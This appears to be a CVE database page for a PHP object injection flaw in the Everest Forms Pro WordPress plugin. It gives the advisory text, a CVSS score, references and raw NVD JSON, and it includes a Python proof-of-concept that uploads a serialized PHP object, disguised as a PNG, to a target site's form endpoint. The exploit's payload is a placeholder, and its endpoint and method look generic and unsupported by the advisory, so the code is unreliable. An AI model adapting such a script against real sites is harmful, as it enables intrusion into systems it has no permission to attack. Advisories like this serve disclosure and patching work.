CVE-2025-8871

Description

The Everest Forms (Pro) plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.9.7 via deserialization of untrusted input in the mime_content_type() function. This makes it possible for unauthenticated attackers to inject a PHP Object. This vulnerability may be exploited by unauthenticated attackers when a form is present on the site with a non-required signature form field along with an image upload field. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. This vulnerability is only exploitable in PHP versions prior to 8.

CVSS Details

CVSS Score

5.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Everest Forms Pro <= 1.9.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-8871 PoC - Everest Forms Pro PHP Object Injection
# Note: Requires form with signature field (non-required) and image upload field

TARGET_URL = "https://target-site.com"
# Attacker-controlled serialized object with POP chain payload
MALICIOUS_PAYLOAD = 'O:8:"stdClass":2:{s:4:"data";s:XXX:"PAYLOAD";}'

def exploit_cve_2025_8871():
    """
    Exploitation requires:
    1. Everest Forms Pro <= 1.9.7 installed
    2. Form with non-required signature field + image upload field
    3. PHP version < 8.0
    4. Additional plugin/theme with POP chain on target
    """
    
    # Upload malicious image file with serialized PHP object
    upload_endpoint = f"{TARGET_URL}/wp-json/everest-forms/v1/submit"
    
    files = {
        'evf_field_files[image_upload_field]': (
            'malicious.png',
            MALICIOUS_PAYLOAD.encode(),
            'image/png'
        )
    }
    
    data = {
        'form_id': 'FORM_ID_HERE',
        # Additional form fields as required
    }
    
    try:
        response = requests.post(upload_endpoint, files=files, data=data, timeout=30)
        print(f"Response Status: {response.status_code}")
        print(f"Response: {response.text}")
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")

if __name__ == "__main__":
    print("CVE-2025-8871 PoC - Everest Forms Pro PHP Object Injection")
    print("This PoC requires specific conditions to be exploitable.")
    exploit_cve_2025_8871()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-8871
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-8871
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-8871/
[4] VulDB https://vuldb.com/cve/CVE-2025-8871
[5] https://everestforms.net/changelog/
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/11d45287-f875-4cc9-aaf6-47158fe32858?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-8871", "sourceIdentifier": "[email protected]", "published": "2025-11-05T03:15:42.880", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Everest Forms (Pro) plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.9.7 via deserialization of untrusted input in the mime_content_type() function. This makes it possible for unauthenticated attackers to inject a PHP Object. This vulnerability may be exploited by unauthenticated attackers when a form is present on the site with a non-required signature form field along with an image upload field. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. This vulnerability is only exploitable in PHP versions prior to 8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://everestforms.net/changelog/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/11d45287-f875-4cc9-aaf6-47158fe32858?source=cve", "source": "[email protected]"}]}}